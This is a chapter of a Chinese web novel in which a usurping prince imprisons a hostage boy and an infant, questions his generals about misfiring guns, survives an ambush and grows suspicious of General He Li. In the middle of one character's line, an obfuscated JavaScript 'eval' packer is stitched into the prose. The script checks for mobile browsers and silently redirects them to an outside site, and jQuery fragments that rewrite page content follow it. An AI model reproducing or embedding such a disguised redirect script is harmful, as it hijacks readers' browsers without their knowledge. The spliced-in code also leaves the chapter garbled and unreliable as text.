211.屠戮百姓威胁将军(一)

作品:《强娶的压寨夫君他跑了

    第二百一十一章屠戮百姓威胁将军(一)


    (蔻燎)


    世间上的许多事,对于雾霖来说,都是无能为力的。


    譬如千里迢迢来大睦朝当质子,譬如无法凭借自己阻止这场谋朝篡位的闹剧。


    再譬如,从始至终,他也无法主宰自己的命运。


    小少年疼得龇牙咧嘴,拖行在地,紧紧抱着百里玄华,一寸一寸朝后躲避,手心攥死银白的匕首,怒目圆睁地瞪着步步紧逼的吕汝。


    吞一口唾沫,战栗道,“别,别过来!别过来!”


    权麟殿里的付心娇杏眼一圆,竭力道,“玄华,雾霖!”


    吕汝仗着火铳,臂膀横举,黑洞洞的枪眼瞄准雾霖的双眉之间,靴子碾压砖石,发出清脆的“踏踏”声。


    百里世模一摔衣袍,思虑一秒,吩咐吕汝,“先不杀他,抓起来关押。”


    雾霖的身份是东升州质子,一旦死了,东升州的雾山雨必会借机发难闹事,百里世模心念自己还没坐稳皇帝之位,无暇他顾,不愿在节骨眼儿上分出精神去对付雾山雨。


    他虽然不怕东升州造反,但也烦躁处理这些琐事。


    他目下的紧要任务是打败柳厢,俞冠楚,付庚重的军队,安安稳稳地登基为帝。


    届时,小小的雾霖,想杀就杀,小小的东升州,想灭就灭。


    吕汝答应一声,收起火铳,抽剑出鞘,尖尖的剑头斜在雾霖喉结边,高大的身躯携来一片寒冷的阴影,有着无形的压迫感。


    雾霖瑟缩一团,怀里哇哇大哭的百里玄华脸孔红得吹弹可破,险些会背过气。


    吐一口恶气,雾霖视死如归地出刀去劈吕汝,吕汝轻松躲了过去,抬脚踢开那碍眼的匕首。


    一把拽住雾霖的胳膊,把人从地面上揪起,伸手去抢百里玄华,与此同时,一名叛军屁颠屁颠跑进来,俯首施礼,“威王殿下,不不不,皇上,贺将军和王校尉求见!”


    吕汝顿住动作,望向百里世模。


    百里世模侧一侧眸子,若有所思,半晌道,“将雾霖和小家伙全部扔进权麟殿幽禁,朕有的是时间慢慢折腾他们!”


    又道,“传。”


    叛军点头称是,退身去邀贺笠,王弓双双步入。


    吕汝则提着雾霖和百里玄华往权麟殿正殿拉拽,叛军们迅速落锁,将百里皓质,付心娇,雾霖,百里玄华关在里面。


    “啪!啪!啪!”


    清脆如玉玦掷地的鼓掌声飘荡而来,如雷贯耳。


    贺笠步幅缓缓,拍着手领了一队人马和王弓走近,好巧不巧在叛军关上权麟殿大门时瞥了一眼百里皓质愤懑的眼神,不可一世地扬唇。


    他面对百里世模,微而垂目,嬉笑道,“皇上?皇上万安!恭喜皇上,贺喜皇上,心想事成,万事如意。”


    王弓卑躬屈膝,跪地为百里世模行了大礼,狗腿子模样无人能及,“末将见过皇上!”


    百里世模嗤笑,“无须多礼。”看向贺笠的俊脸,一本正经道,“柳厢,俞冠楚,付庚重他们眼下是什么情况?”


    贺笠环视四周,喜悦道,“没想到这么快就攻入皇宫,比末将预料的快多了……哦,回皇上,柳厢等人与我们一战,皆未捞着好处,末将已全力将其击退,即便再战数次,他们也进不了百里京。末将会拥护皇上成功登基,等尘埃落定,便是清剿他们之时。只是——末将与王校尉发现火铳,燧发枪出了点问题,频频擦枪走火,射杀自己人,想来需要及时处理改进,避免后续战役再现差池。”


    “什么?火铳,燧发枪有问题?”


    百里世模深信不疑贺笠的能力,肯定能助他抵挡柳厢,但他怎么也没想到好好的火铳,燧发枪会在关键时刻显出毛病。


    他乜斜一旁的薛惜,冷言道,“薛惜,到底是怎么回事?朕从未听过柳厢的武器出现什么问题,你难不成还比不过一个弱女子的手艺?方才在宫门口的炸弹也是不对劲,现在火铳,燧发枪也有毛病,你最好尽早给朕解决了,不要耽误对付柳厢的军队。否则,拿你是问!”


    薛惜无可置信,狡辩道,“皇上,不可能啊,下官明明是按照柳厢的火药秘术一比一做出来的,不存在会走火的现象。贺将军,王校尉,你们现在有走火的火铳吗?让我检查一番。”


    王弓尴尬地咳嗽,“额……已经丢在百里京外了。”


    “……”薛惜揩了把冷汗,忍气吞声道,“明白了,我会速速检查其他士兵的火铳,改造改造。”


    百里世模面容稍霁,眸珠一转,诧异道,“对了,朱紫贵有无打下风情寨?他人呢?还没干好?真是成事不足败事有余。”


    贺笠不卑不亢道,“朱大人没有攻下风情寨,柳厢前去阻拦了,朱大人被活捉,已经死在了柳厢手里。”


    白眼一翻,百里世模揉了揉收紧的太阳穴,脸色黑沉,嘲弄而笑,“死了也好,什么都指望不上,只可惜他没完成任务,倒让柳厢的土匪寨还留着,死了好,他若是不死,朕也想杀了他!”


    他拂袖道,“包围皇宫,准备登基大典的一切事宜,朕要高枕无忧地坐上龙椅。”


    “不准任何人混进百里京,也不准任何人逃出百里京,尽量在三个月内处理干净柳厢和俞冠楚他们。”


    贺笠黑目一黯,唇角笑意森森,带头道,“是,皇上。”


    征辕十七年八月中旬,日头炎热,金轮高挂。


    一个月过去,柳厢,俞冠楚,付庚重,贺筠仍旧死守着百里京,期间与贺笠交战几次,皆是柳厢一方胜出。


    百里京上上下下人心惶惶,不可终日。


    饶是弄得百里世模恨意暴涨,镇压不下。


    这一月里,他屡屡去权麟殿肆意横行,阴阳怪气地羞-辱百里皓质,打量着他登基的当天,便是百里皓质的死期。


    他抽空回了一趟威王府,计划举府搬入皇宫,千算万算没算到,住在百里京的柳厢打仗前招揽的三十多名女兵会聚集起来偷袭威王府。


    月黑风高,飞檐走壁潜入威王府,堵着百里世模砍杀一通,百里世模乃大睦朝皇室中人,多少擅长点拳脚,拼命斗了一斗,怎奈对面人多势众,揍得他头破血流,仓皇逃窜。


    等贺笠,王弓携叛军追来之际,女兵们身轻如燕,点地一跳,翻过墙头全身而退地跑了。


    百里世模腮边肌肉抽搐,一滴黑血淌到眸仁里,洇红了少量的眼白,更显他狰狞恐怖。


    他脸色发青,指着女兵们退去的黑暗处,音调拔高,“去!逮住她们,朕要她们一个个五马分尸,死得比鬼还难看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837260|129115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    “柳厢,你大爷的阴魂不散,你自己在百里京外面待着,你的狗腿子还擅作主张跑来暗杀朕,哼,等着,都跑不了!”


    贺笠露出残酷的微笑,“末将遵命,捕住女兵,即刻就地正法,让她们为自己的行为付出代价。”


    转身,和王弓带着叛军消匿在无边无际的暗影中,刹那不见。


    三日后,皇宫的正宣殿。


    正宣殿,不是皇上寝食之处,而是一代帝王面临百官朝拜,商议政务的朝堂。


    金砖玉砌,雕梁画栋,轩敞恢宏。


    美轮美奂中不乏肃穆幽寂,庄严神圣里不缺富丽堂皇。


    中央高耸的金阶堆出的丹台,台上横了一张金铸的长桌,桌上笔墨纸砚俱全,桌后便是能居高临下,俯瞰众生的精致龙椅。


    一条光芒万丈的金龙盘踞在椅上,环绕着龙椅里正襟危坐的男子。


    百里世模面容黢黑,挺直背脊,按了按跳动的太阳穴,斜眸扫了一下朝堂上的文武官员。


    出现在正宣殿的文官武官,无一不是早早就倒戈百里世模的人,他们以为大局已定,逐一躬身为百里世模作揖恭喜。


    头上包了血淋淋的绷带,仪容憔悴的百里世模没闲心去听恭维之音,开门见山抛出一道烫手山芋般的疑问,问得在场之人噤若寒蝉,缩头屏息。


    “近日,百里京刮起一阵风,一阵不合时宜的妖风。谣言四起,众口铄金,积毁销骨,一番话语传得神乎其神。朕无意间听见,也是疑窦丛生。朕知道,那些大多数是诽谤之言,不可尽信。”


    “不知众爱卿有无听过相关谣传?——百姓们津津乐道的是,贺笠贺将军野心勃勃,觊觎大睦朝的皇位和江山,不服朕的管束,早就心底生了嫌隙,妄图趁乱击毙朕,鸠占鹊巢把大睦朝改姓为‘贺’。”


    “还说什么若朕当了皇上,必会过河拆桥,寻机处死贺笠,以保无后顾之忧,啧,这些话是谁恶意煽动的?哈哈哈哈,你们听听,听听,可笑不可笑?”


    正宣殿内死寂得呼吸声如同闷雷,心跳声打鼓似的砰砰砰不停,众人面面相觑,岂敢出来回应。


    跟柳厢多次交战,叛军元气大伤,贺笠和百里世模意料之外得知了贺筠的归来。


    柳厢的十万大军加上贺筠的两万人马,足足有十二万的人,而贺笠只有八万多的人马,仔细比较,他们不得不发了慌。


    先不论军队人数上的差别,百里世模更害怕贺筠与贺笠藕断丝连,唯恐贺笠是假意助他,实则跟他的兄长贺筠帮着柳厢等人里应外合,一起对付自己。


    加之百里京无缘无故出现了一针见血的犀利谣言,使得百里世模疑心暗起,愈加怀疑贺笠的心脏上是否刻着一个“忠”字。


    他屡屡敲打贺笠,屡屡也放心不了,夜夜难寐,受伤的脑袋也疼得几欲像熟透的烂西瓜,自内由外的裂开大口子。


    正宣殿四处飘荡着百里世模诡异的笑声,闻者毛发倒竖,芒刺在背,动也不敢动一寸,临渊履薄地杵在原地。


    狂笑声笑着笑着收了音,百里世模额头渗下一缕毒蛇似的血线,蜿蜒在他的眉目间,形容可怖。


    他直勾勾瞪着下方的贺笠,杀心顿生,寒浸浸道,“贺笠,你来回答,这些谣言有没有可取之处?”